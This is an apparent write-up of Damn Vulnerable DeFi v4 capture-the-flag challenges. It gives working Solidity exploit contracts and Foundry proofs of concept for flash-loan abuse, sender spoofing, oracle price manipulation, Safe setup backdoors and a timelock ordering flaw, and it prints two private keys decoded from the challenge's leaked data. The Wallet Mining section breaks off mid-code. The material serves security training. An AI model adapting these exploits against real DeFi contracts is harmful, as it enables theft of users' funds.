Damn Vulnerable DeFi v4 Writeup
Author: SunSec
1. Unstoppable
Condition:
Make the
flashLoan
function unable to work.
Key Concepts:
Flash Loan
DOS
Solution:
By simply transferring tokens to the contract, you can make
totalSupply != balanceBefore
, causing the flash loan to fail.
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
function test_unstoppable() public checkSolvedByPlayer {
token.transfer(address(vault), 123);
}
2. Naive Receiver
Conditions:
Must execute two or fewer transactions. Ensure
vm.getNonce(player)
is less than or equal to 2.Ensure
weth.balanceOf(address(receiver))
equals 0.Ensure
weth.balanceOf(address(pool))
equals 0.Ensure
weth.balanceOf(recovery)
equalsWETH_IN_POOL + WETH_IN_RECEIVER = 1010 ETH
.
Key Concepts:
Flash Loan
Create an attack contract to satisfy completing the attack in a single transaction
MultiCall
msg.data
(calldata manipulation)
Solution:
NaiveReceiverPool
inheritsMulticall
andIERC3156FlashLender
.
ERC-3156: Flash loan module and {ERC20} extension that allows flash loans.The
FlashLoanReceiver
initially has 10 ETH, and each time it receives a flash loan, it pays 1 ETH as a fee to the pool. However, the issue lies in the fact thatonFlashLoan
does not check whether the origin of the flash loan is authorized. So we just need to call 10 times flash loans, passing 0 as the amount, and we can drain the 10 ETH fromFlashLoanReceiver
. But the problem requires that the Nonce must be less than 2. As mentioned earlier,NaiveReceiverPool
inheritsMulticall
, so we can useMulticall
to perform 10 flash loan operations in a single transaction, thus satisfying the Nonce requirement of being less than 2.Next, we need to figure out how to drain the initial 1000 ETH from
NaiveReceiverPool
. From the contract, we can see that the only function that can transfer the assets iswithdraw
. It can be noticed that_msgSender
needs to satisfymsg.sender == trustedForwarder && msg.data.length >= 20
to return the last 20 bytes of the address, which can be manipulated.Finally, to satisfy
msg.sender == trustedForwarder
, we need to use a forwarder to execute a meta-transaction.
function withdraw(uint256 amount, address payable receiver) external {
// Reduce deposits
deposits[_msgSender()] -= amount;
totalDeposits -= amount;
// Transfer ETH to designated receiver
weth.transfer(receiver, amount);
}
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:]));
//bytes20: msg.data last 20 bytes to address
} else {
return super._msgSender();
}
}
POC :
function test_naiveReceiver() public checkSolvedByPlayer {
bytes[] memory callDatas = new bytes[](11);
for(uint i=0; i<10; i++){
callDatas[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, "0x"));
}
callDatas[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))),
bytes32(uint256(uint160(deployer)))
);
bytes memory callData;
callData = abi.encodeCall(pool.multicall, callDatas);
BasicForwarder.Request memory request = BasicForwarder.Request(
player,
address(pool),
0,
gasleft(),
forwarder.nonces(player),
callData,
1 days
);
bytes32 requestHash = keccak256(
abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
(uint8 v, bytes32 r, bytes32 s)= vm.sign(playerPk ,requestHash);
bytes memory signature = abi.encodePacked(r, s, v);
forwarder.execute(request, signature);
}
3. Truster
Conditions:
Only 1 transaction can be executed
Rescue funds must be sent to the
recovery
account
Key Concepts:
Arbitrary call
Solution:
In
flashLoan
, we can seetarget.functionCall(data);
which allows executing arbitrary calldata, and the target address is controllable. Therefore, arbitrary instructions can be executed directly.
POC :
function test_truster() public checkSolvedByPlayer {
Exploit exploit = new Exploit(address(pool), address(token),address(recovery));
}
contract Exploit {
uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
constructor(address _pool, address _token, address recoveryAddress) payable {
TrusterLenderPool pool = TrusterLenderPool(_pool);
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), TOKENS_IN_POOL);
pool.flashLoan(0, address(this), _token, data);
DamnValuableToken token = DamnValuableToken(_token);
token.transferFrom(_pool, address(recoveryAddress), TOKENS_IN_POOL);
}
}
4. Side Entrance
Conditions:
The pool's balance must be 0.
The balance in the specified
Recovery
wallet must equal the original amount of ETH in the pool (i.e.,ETHER_IN_POOL
).
Key Concepts:
Incorrect use of
address(this).balance
as a validation method
Solution:
flashLoan
uses a non-standard approach, where it checks if the loan is repaid simply by comparing the pool’s balanceif (address(this).balance < balanceBefore)
.So, by borrowing through
flashLoan
and then depositing the funds back into the pool, it counts as repayment. Meanwhile, since you have proof of deposit in the contract, you can execute awithdraw
and transfer the funds out.
POC :
function test_sideEntrance() public checkSolvedByPlayer {
Exploit exploiter = new Exploit(address(pool), recovery, ETHER_IN_POOL);
exploiter.attack();
}
contract Exploit{
SideEntranceLenderPool public pool;
address public recovery;
uint public exploitAmount;
constructor(address _pool, address _recovery, uint _amount){
pool = SideEntranceLenderPool(_pool);
recovery = _recovery;
exploitAmount = _amount;
}
function attack() external returns(bool){
pool.flashLoan(exploitAmount);
pool.withdraw();
payable(recovery).transfer(exploitAmount);
}
function execute() external payable{
pool.deposit{value:msg.value}();
}
receive() external payable{}
}
5. The Rewarder
Conditions:
The remaining DVT amount in the distributor contract must be less than 1e16 (i.e., 0.01 DVT), only allowing a small amount of "Dust" to remain.
The remaining WETH amount in the distributor contract must be less than 1e15 (i.e., 0.001 WETH), only allowing a small amount of "Dust" to remain.
The amount of DVT in the specified
Recovery
wallet must equal the total distribution amount of DVT (TOTAL_DVT_DISTRIBUTION_AMOUNT
), minus the amount of DVT Alice has already claimed (ALICE_DVT_CLAIM_AMOUNT
), and the remaining amount of DVT in the distributor contract.The amount of WETH in the specified
Recovery
wallet must equal the total distribution amount of WETH (TOTAL_WETH_DISTRIBUTION_AMOUNT
), minus the amount of WETH Alice has already claimed (ALICE_WETH_CLAIM_AMOUNT
), and the remaining amount of WETH in the distributor contract.
Key Concepts:
Logic error in updating the state of an array
Solution:
Based on Merkle proofs and bitmaps token distribution contract.
REF: Bitmaps & Merkle Proofs | Application of Bitmap structure in ENSToken
In the contract, it can be seen that in
claimRewards
, the update to whether a user has claimed rewards is done through_setClaimed()
.Since
claimRewards
supports arrays, multiple claims can be made in a single transaction, and the user's reward claim record is only updated after the last claim.The
player
's address has an index of 188.
// for the last claim
if (i == inputClaims.length - 1) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
POC :
function test_theRewarder() public checkSolvedByPlayer {
uint PLAYER_DVT_CLAIM_AMOUNT = 11524763827831882;
uint PLAYER_WETH_CLAIM_AMOUNT = 1171088749244340;
bytes32[] memory dvtLeaves = _loadRewards(
"/test/the-rewarder/dvt-distribution.json"
);
bytes32[] memory wethLeaves = _loadRewards(
"/test/the-rewarder/weth-distribution.json"
);
uint dvtTxCount = TOTAL_DVT_DISTRIBUTION_AMOUNT /
PLAYER_DVT_CLAIM_AMOUNT;
uint wethTxCount = TOTAL_WETH_DISTRIBUTION_AMOUNT /
PLAYER_WETH_CLAIM_AMOUNT;
uint totalTxCount = dvtTxCount + wethTxCount;
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
// Create Alice's claims
console.log(totalTxCount);
Claim[] memory claims = new Claim[](totalTxCount);
for (uint i = 0; i < totalTxCount; i++) {
if (i < dvtTxCount) {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: PLAYER_DVT_CLAIM_AMOUNT,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(dvtLeaves, 188) //player at index 188
});
} else {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: PLAYER_WETH_CLAIM_AMOUNT,
tokenIndex: 1, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(wethLeaves, 188) //player at index 188
});
}
}
//multiple claims
distributor.claimRewards({
inputClaims: claims,
inputTokens: tokensToClaim
});
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}
6. Selfie
Conditions:
The DVT balance in the pool must be 0.
The balance in the specified
Recovery
wallet must equal the original amount of DVT in the pool (i.e.,TOKENS_IN_POOL
).
Key Concepts:
Flash loan
Vote delegation (
delegate
)Governance mechanism
Solution:
The
SelfiePool
contract has a functionemergencyExit()
that can transfer all the contract's balance, but it requiresonlyGovernance
permission.Upon reviewing the
SimpleGovernance
contract, it is possible to initiate a proposal throughqueueAction
, and the data can be controlled. This allows us to executeemergencyExit()
via this method.To execute
queueAction
, it must pass the_hasEnoughVotes
check. SinceDamnValuableVotes
inheritsERC20Votes
, the borrowed DVT needs to delegate voting power to oneself. Holding half of the total supply of voting power is required to submit the proposal.Exploit steps: Flashloan -> delegate -> initiate proposal with
queueAction
-> repay -> executeexecuteAction
POC :
function test_selfie() public checkSolvedByPlayer {
Exploit exploiter = new Exploit(
address(pool),
address(governance),
address(token)
);
exploiter.exploitSetup(address(recovery));
vm.warp(block.timestamp + 2 days);
exploiter.exploitCloseup();
}
contract Exploit is IERC3156FlashBorrower{
SelfiePool selfiePool;
SimpleGovernance simpleGovernance;
DamnValuableVotes damnValuableToken;
uint actionId;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
constructor(
address _selfiePool,
address _simpleGovernance,
address _token
){
selfiePool = SelfiePool(_selfiePool);
simpleGovernance = SimpleGovernance(_simpleGovernance);
damnValuableToken = DamnValuableVotes(_token);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32){
damnValuableToken.delegate(address(this));
uint _actionId = simpleGovernance.queueAction(
address(selfiePool),
0,
data
);
actionId = _actionId;
IERC20(token).approve(address(selfiePool), amount+fee);
return CALLBACK_SUCCESS;
}
function exploitSetup(address recovery) external returns(bool){
uint amountRequired = 1_500_000e18;
bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
selfiePool.flashLoan(IERC3156FlashBorrower(address(this)), address(damnValuableToken), amountRequired, data);
}
function exploitCloseup() external returns(bool){
bytes memory resultData = simpleGovernance.executeAction(actionId);
}
}
7. Compromised
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30
4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35
A related on-chain exchange is selling a collection called “DVNFT” at an absurdly high price, currently priced at 999 ETH each. This price is determined by an on-chain oracle based on three trusted reporters: 0x188…088, 0xA41…9D8, and 0xab3…a40. You start with an account balance of only 0.1 ETH and must complete the challenge by rescuing all the ETH available in the exchange and depositing the funds into the specified recovery account.
Conditions:
The ETH balance in the
exchange
contract address must be 0.The ETH balance in the
recovery
address must equal the initial ETH balance of theexchange
.The player's NFT balance must be 0.
The price of DVNFT in the oracle must remain unchanged, equal to the initial NFT price (
INITIAL_NFT_PRICE
), ensuring no price manipulation during the challenge.
Key Concepts:
Wallet private key
Oracle price setting
Solution:
After decoding the leaked_information, it reveals two wallet private keys. These two wallets can set the oracle price.
import base64
def hex_to_ascii(hex_str):
ascii_str = ''
for i in range(0, len(hex_str), 2):
ascii_str += chr(int(hex_str[i:i+2], 16))
return ascii_str
def decode_base64(base64_str):
# Decode Base64 to ASCII
return base64.b64decode(base64_str).decode('utf-8')
leaked_information = [
'4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30',
'4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35',
]
from eth_account import Account
for leak in leaked_information:
hex_str = ''.join(leak.split())
ascii_str = hex_to_ascii(hex_str)
decoded_str = decode_base64(ascii_str)
private_key = decoded_str
print("Private Key:", private_key)
# Create a wallet instance from the private key
wallet = Account.from_key(private_key)
# Get the public key (address)
address = wallet.address
print("Wallet address:", address)
Private Key: 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744
Wallet address: 0x188Ea627E3531Db590e6f1D71ED83628d1933088
Private Key: 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159
Wallet address: 0xA417D473c40a4d42BAd35f147c21eEa7973539D8
Manipulate the NFT price, buy low and sell high to gain more ETH.
POC :
function test_compromised() public checkSolved {
Exploit exploit = new Exploit{value:address(this).balance}(oracle, exchange, nft, recovery);
vm.startPrank(sources[0]);
oracle.postPrice(symbols[0],0);
vm.stopPrank();
vm.startPrank(sources[1]);
oracle.postPrice(symbols[0],0);
vm.stopPrank();
exploit.buy();
vm.startPrank(sources[0]);
oracle.postPrice(symbols[0],999 ether);
vm.stopPrank();
vm.startPrank(sources[1]);
oracle.postPrice(symbols[0],999 ether);
vm.stopPrank();
exploit.sell();
exploit.recover(999 ether);
}
contract Exploit is IERC721Receiver{
TrustfulOracle oracle;
Exchange exchange;
DamnValuableNFT nft;
uint nftId;
address recovery;
constructor(
TrustfulOracle _oracle,
Exchange _exchange,
DamnValuableNFT _nft,
address _recovery
) payable {
oracle = _oracle;
exchange = _exchange;
nft = _nft;
recovery = _recovery;
}
function buy() external payable{
uint _nftId = exchange.buyOne{value:1}();
nftId = _nftId;
}
function sell() external payable{
nft.approve(address(exchange), nftId);
exchange.sellOne(nftId);
}
function recover(uint amount) external {
payable(recovery).transfer(amount);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4){
return this.onERC721Received.selector;
}
receive() external payable{
}
}
8. Puppet
Conditions:
Ensure only one transaction is executed.
The DVT tokens in the
lendingPool
must be 0.Transfer all DVT tokens to the
recovery
wallet.
Key Concepts:
Incorrect use of
balanceOf
as a reference for pricing.
Solution:
In many past hacking incidents, using the contract's balance as a condition is very dangerous and can be manipulated. In
PuppetPool
, we can see that_computeOraclePrice
uses the balance to calculate the oracle price.In many past hacking incidents, using the contract's balance as a condition is very dangerous and can be manipulated. In
PuppetPool
, we can see that_computeOraclePrice
uses the balance to calculate the oracle price.
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
Transfer all your DVT tokens to
uniswapV1Exchange
viatokenToEthTransferInput
to manipulate the price.
POC :
function test_puppet() public checkSolvedByPlayer {
Exploit exploit = new Exploit{value:PLAYER_INITIAL_ETH_BALANCE}(
token,
lendingPool,
uniswapV1Exchange,
recovery
);
token.transfer(address(exploit), PLAYER_INITIAL_TOKEN_BALANCE);
exploit.attack(POOL_INITIAL_TOKEN_BALANCE);
}
contract Exploit {
DamnValuableToken token;
PuppetPool lendingPool;
IUniswapV1Exchange uniswapV1Exchange;
address recovery;
constructor(
DamnValuableToken _token,
PuppetPool _lendingPool,
IUniswapV1Exchange _uniswapV1Exchange,
address _recovery
) payable {
token = _token;
lendingPool = _lendingPool;
uniswapV1Exchange = _uniswapV1Exchange;
recovery = _recovery;
}
function attack(uint exploitAmount) public {
uint tokenBalance = token.balanceOf(address(this));
token.approve(address(uniswapV1Exchange), tokenBalance);
console.log("before calculateDepositRequired(amount)",lendingPool.calculateDepositRequired(exploitAmount));
uniswapV1Exchange.tokenToEthTransferInput(tokenBalance, 1, block.timestamp, address(this));
console.log(token.balanceOf(address(uniswapV1Exchange)));
console.log("after calculateDepositRequired(amount)",lendingPool.calculateDepositRequired(exploitAmount));
lendingPool.borrow{value: 20e18}(
exploitAmount,
recovery
);
}
receive() external payable {
}
}
before calculateDepositRequired(amount) 200000000000000000000000
after calculateDepositRequired(amount) 19664329888798200000
9. Puppet V2
Conditions:
The DVT tokens in the
lendingPool
must be 0.Transfer all DVT tokens to the
recovery
wallet.
Key Concepts:
Incorrect use of
getReserves
as a reference for pricing.
Solution:
In this challenge, the oracle has been changed to use Uniswap v2. However,
getReserves
is similar to fetching the balance, which poses a risk of manipulation.
POC :
// Fetch the price from Uniswap v2 using the official libraries
function (uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) =
UniswapV2Library.getReserves({factory: _uniswapFactory, tokenA: address(_weth), tokenB: address(_token)});
return UniswapV2Library.quote({amountA: amount * 10 ** 18, reserveA: reservesToken, reserveB: reservesWETH});
}
By using swapExactTokensForTokens to exchange all of the player's DVT for WETH, you can lower the DVT price.
function test_puppetV2() public checkSolvedByPlayer {
token.approve(address(uniswapV2Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
console.log("before alculateDepositOfWETHRequired",lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE));
uniswapV2Router.swapExactTokensForETH(token.balanceOf(player), 1 ether, path, player, block.timestamp);
weth.deposit{value: player.balance}();
weth.approve(address(lendingPool), type(uint256).max);
uint256 poolBalance = token.balanceOf(address(lendingPool));
uint256 depositOfWETHRequired = lendingPool.calculateDepositOfWETHRequired(poolBalance);
console.log("after alculateDepositOfWETHRequired",lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE));
lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery,POOL_INITIAL_TOKEN_BALANCE);
}
before alculateDepositOfWETHRequired 300000000000000000000000
after alculateDepositOfWETHRequired 29496494833197321980
10. Free Rider
Conditions:
Ensure all NFTs are withdrawn from the
recoveryManager
smart contract and transferred to therecoveryManagerOwner
address.There should no longer be any NFTs for sale in the marketplace, meaning
offersCount()
should be 0.The player's balance must be greater than or equal to the bounty amount.
Key Concepts:
Uniswap flashswap
Incorrect validation of
mas.value
in an array
Solution:
In the
_buyOne
function for purchasing NFTs, there is an error in checking the payment amount. As long asmsg.value
is greater thanpriceToPay
, the transaction can proceed.
if (msg.value < priceToPay) {
revert InsufficientPayment();
}
If you only purchase one NFT, there is no issue. However, the contract allows purchasing multiple NFTs at once through
buyMany()
, which loops through and calls_buyOne
. This creates a logical flaw: with just 15 ETH (the price of one NFT), you can buy multiple NFTs.
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; ++i) {
unchecked {
_buyOne(tokenIds[i]);
}
}
}
The second logical error is also in
_buyOne
. After purchasing the NFT, 15 ETH is transferred to the seller. However, the program actually transfers NFT ownership, so the 15 ETH is mistakenly transferred to the buyer instead.
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
By leveraging the two bugs above, you can use
uniswapV2 flashswap
to borrow 15 ETH and buy multiple NFTs. In the end, your cost is only the 0.3% flashswap fee. Since the challenge starts you with 0.1 ETH, this is more than sufficient.The final step is to buy 6 NFTs and transfer them all to
FreeRiderRecoveryManager
to collect the 45 ETH bounty. REF
if (++received == 6) {
address recipient = abi.decode(_data, (address));
payable(recipient).sendValue(bounty);
}
POC :
function test_freeRider() public checkSolvedByPlayer {
Exploit exploit = new Exploit{value:0.045 ether}(
address(uniswapPair),
address(marketplace),
address(weth),
address(nft),
address(recoveryManager)
);
exploit.attack();
console.log("balance of attacker:", address(player).balance / 1e15, "ETH");
}
contract Exploit {
IUniswapV2Pair public pair;
IMarketplace public marketplace;
IWETH public weth;
IERC721 public nft;
address public recoveryContract;
address public player;
uint256 private constant NFT_PRICE = 15 ether;
uint256[] private tokens = [0, 1, 2, 3, 4, 5];
constructor(address _pair, address _marketplace, address _weth, address _nft, address _recoveryContract)payable{
pair = IUniswapV2Pair(_pair);
marketplace = IMarketplace(_marketplace);
weth = IWETH(_weth);
nft = IERC721(_nft);
recoveryContract = _recoveryContract;
player = msg.sender;
}
function attack() external payable {
// 1. Request a flashSwap of 15 WETH from Uniswap Pair
pair.swap(NFT_PRICE, 0, address(this), "1");
}
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
// Access Control
require(msg.sender == address(pair));
require(tx.origin == player);
// 2. Unwrap WETH to native ETH
weth.withdraw(NFT_PRICE);
// 3. Buy 6 NFTS for only 15 ETH total
marketplace.buyMany{value: NFT_PRICE}(tokens);
// 4. Pay back 15WETH + 0.3% to the pair contract
uint256 amountToPayBack = NFT_PRICE * 1004 / 1000;
weth.deposit{value: amountToPayBack}();
weth.transfer(address(pair), amountToPayBack);
// 5. Send NFTs to recovery contract so we can get the bounty
bytes memory data = abi.encode(player);
for(uint256 i; i < tokens.length; i++){
nft.safeTransferFrom(address(this), recoveryContract, i, data);
}
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable {}
}
11. Backdoor
Conditions:
Only one transaction is executed.
All users listed as beneficiaries must have already registered a wallet address in the registry.
Users are no longer beneficiaries.
All tokens are transferred to the recovery wallet.
Key Concepts:
Safe contract wallet
Proxy contract initialization
Solution:
Safe = singletonCopy, SafeProxyFactory = walletFactory
create a new Safe wallet: SafeProxyFactory.createProxyWithCallback -> createProxyWithNonce -> deployProxy -> ( if callback is defined ) callback.proxyCreated
There are 4 beneficiaries in this challenge. Each beneficiary receives 10 ETH through the
WalletRegistry
by creating a wallet. TheproxyCreated
function notes that the wallet is created through a proxy. SafeProxyFactory::createProxyWithCallback, you can see code below.
* @notice Function executed when user creates a Safe wallet via SafeProxyFactory::createProxyWithCallback
* setting the registry's address as the callback.
function proxyCreated
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (SafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
At the end of the initializer,
deployProxy
is executed, and we can control it throughcall(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0)
. So, within the initializer, we can executeSafe.setup
and control the third parameter,to
, which refers to the contract address for an optional delegate call. You can specify any contract or one with a backdoor. Finally, in the fourth field,data
, we can execute the data payload for the optional delegate call. Through this process, we can retrieve each beneficiary's ETH.
function setup(
address[] calldata _owners, //List of Safe owners.
uint256 _threshold, //Number of required confirmations for a Safe transaction.
address to, // Contract address for optional delegate call.
bytes calldata data, //Data payload for optional delegate call.
address fallbackHandler
)
POC :
function test_backdoor() public checkSolvedByPlayer {
Exploit exploit = new Exploit(address(singletonCopy),address(walletFactory),address(walletRegistry),address(token),recovery);
exploit.attack(users);
}
contract Exploit {
address private immutable singletonCopy;
address private immutable walletFactory;
address private immutable walletRegistry;
DamnValuableToken private immutable dvt;
address recovery;
constructor(
address _masterCopy,
address _walletFactory,
address _registry,
address _token,
address _recovery
) {
singletonCopy = _masterCopy;
walletFactory = _walletFactory;
walletRegistry = _registry;
dvt = DamnValuableToken(_token);
recovery = _recovery;
}
function delegateApprove(address _spender) external {
dvt.approve(_spender, 10 ether);
}
function attack(address[] memory _beneficiaries) external {
// For every registered user we'll create a wallet
for (uint256 i = 0; i < 4; i++) {
address[] memory beneficiary = new address[](1);
beneficiary[0] = _beneficiaries[i];
// Create the data that will be passed to the proxyCreated function on WalletRegistry
// The parameters correspond to the GnosisSafe::setup() contract
bytes memory _initializer = abi.encodeWithSelector(
Safe.setup.selector, // Selector for the setup() function call
beneficiary, // _owners => List of Safe owners.
1, // _threshold => Number of required confirmations for a Safe transaction.
address(this), // to => Contract address for optional delegate call.
abi.encodeWithSignature("delegateApprove(address)", address(this)), // data => Data payload for optional delegate call.
address(0), // fallbackHandler => Handler for fallback calls to this contract
0, // paymentToken => Token that should be used for the payment (0 is ETH)
0, // payment => Value that should be paid
0 // paymentReceiver => Adddress that should receive the payment (or 0 if tx.origin)
);
// Create new proxies on behalf of other users
SafeProxy _newProxy = SafeProxyFactory(walletFactory).createProxyWithCallback(
singletonCopy, // _singleton => Address of singleton contract.
_initializer, // initializer => Payload for message call sent to new proxy contract.
i, // saltNonce => Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
IProxyCreationCallback(walletRegistry) // callback => Cast walletRegistry to IProxyCreationCallback
);
//Transfer to caller
dvt.transferFrom(address(_newProxy), recovery, 10 ether);
}
}
}
12. Climber
Conditions:
Rescue the vault assets.
All tokens must be transferred to the recovery wallet.
Key Concepts:
Timelock mechanism
Solution:
Under normal circumstances,
schedule
should be called first, followed by a time delay (Timelock), and finally, the operations are executed throughexecute
. However, there is a logical flaw in theexecute()
function related to the order of operations: the actions are executed before the checks are made, instead of performing the checks first and then executing. This allows malicious operations to bypass the checks and directly alter the contract's state. The proper fix would be to move thegetOperationState(id)
check before executing the operation, ensuring that only legitimate and scheduled operations can be executed.By exploiting this bug, I can place the intended payload in the first few items of the array, and the last item can simply execute
schedule
to update the state.
function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt)
external
payable
{
...
bytes32 id = getOperationId(targets, values, dataElements, salt);
for (uint8 i = 0; i < targets.length;) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
unchecked {
++i;
}
}
//vulnerable logic
if (getOperationState(id) != OperationState.ReadyForExecution) {
revert NotReadyForExecution(id);
}
operations[id].executed = true;
}
Exploit steps:
grantRole
to acquirePROPOSER_ROLE
-> updatedelay
to 0 ->transferOwnership
->timelockSchedule
-> upgrade the contract -> withdraw -> done.
POC :
function test_climber() public checkSolvedByPlayer {
Exploit exploit = new Exploit(payable(timelock),address(vault));
exploit.timelockExecute();
PawnedClimberVault newVaultImpl = new PawnedClimberVault();
vault.upgradeToAndCall(address(newVaultImpl),"");
PawnedClimberVault(address(vault)).withdrawAll(address(token),recovery);
}
contract Exploit {
address payable private immutable timelock;
uint256[] private _values = [0, 0, 0,0];
address[] private _targets = new address[](4);
bytes[] private _elements = new bytes[](4);
constructor(address payable _timelock, address _vault) {
timelock = _timelock;
_targets = [_timelock, _timelock, _vault, address(this)];
_elements[0] = (
abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("PROPOSER_ROLE"), address(this))
);
_elements[1] = abi.encodeWithSignature("updateDelay(uint64)", 0);
_elements[2] = abi.encodeWithSignature("transferOwnership(address)", msg.sender);
_elements[3] = abi.encodeWithSignature("timelockSchedule()");
}
function timelockExecute() external {
ClimberTimelock(timelock).execute(_targets, _values, _elements, bytes32("123"));
}
function timelockSchedule() external {
ClimberTimelock(timelock).schedule(_targets, _values, _elements, bytes32("123"));
}
}
contract PawnedClimberVault is ClimberVault {
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
function withdrawAll(address tokenAddress, address receiver) external onlyOwner {
// withdraw the whole token balance from the contract
IERC20 token = IERC20(tokenAddress);
require(token.transfer(receiver, token.balanceOf(address(this))), "Transfer failed");
}
}
13. Wallet Mining
Conditions:
The
Factory
contract must have code.Ensure that the Safe copy address returned by
walletDeployer.cpy()
contains code.The
USER_DEPOSIT_ADDRESS
must have code present.Neither the deposit address nor the wallet deployment contract may hold any tokens.
Confirm that the user's nonce is still 0, indicating the user hasn't executed any transactions.
Only one transaction can be executed.
The number of tokens held in the user's wallet must equal
DEPOSIT_TOKEN_AMOUNT
.Confirm that the guardian's (
ward
) token balance matches the initial balance of thewalletDeployer
contract, indicating that the player has transferred the required funds to the guardian.
Key Concepts:
Create vs Create2
Eip1155 vs replay
Safe wallet
Safe.setup(): initial storage of the Safe contract
SafeProxy.creationCode: creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
SafeProxyFactory: - Allows to create a new proxy contract and execute a message call to the new proxy within one transaction.
Foundry computeCreate2Address & computeCreateAddress
Proxy Storage collision
Solution:
By using
computeCreate2Address
, calculate theUSER_DEPOSIT_ADDRESS
, which gives a nonce of 13. Then, through the challenge'swalletDeployer.drop()
, usecreateProxyWithNonce
to create the user's Safe wallet.The
AuthorizerUpgradeable
contract occupiesslot0
withneedsInit
, leading to a storage collision. We can initialize the user's wallet and change the guardian (ward
) to ourselves, receiving 1 ETH.
POC :
// Find the correct nonce using computeCreate2Address
address target = vm.computeCreate2Address(
keccak256(abi.encodePacked(keccak256(initializer), nonce)),
keccak256(abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(address(singletonCopy))))), //initCodeHash
address(proxyFactory)
);
// Another way: Find the correct nonce using manual CREATE2 address
// Calculate the salt (combining the initializer hash and nonce)
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), nonce));
// Calculate the creation code hash (SafeProxy creation bytecode)
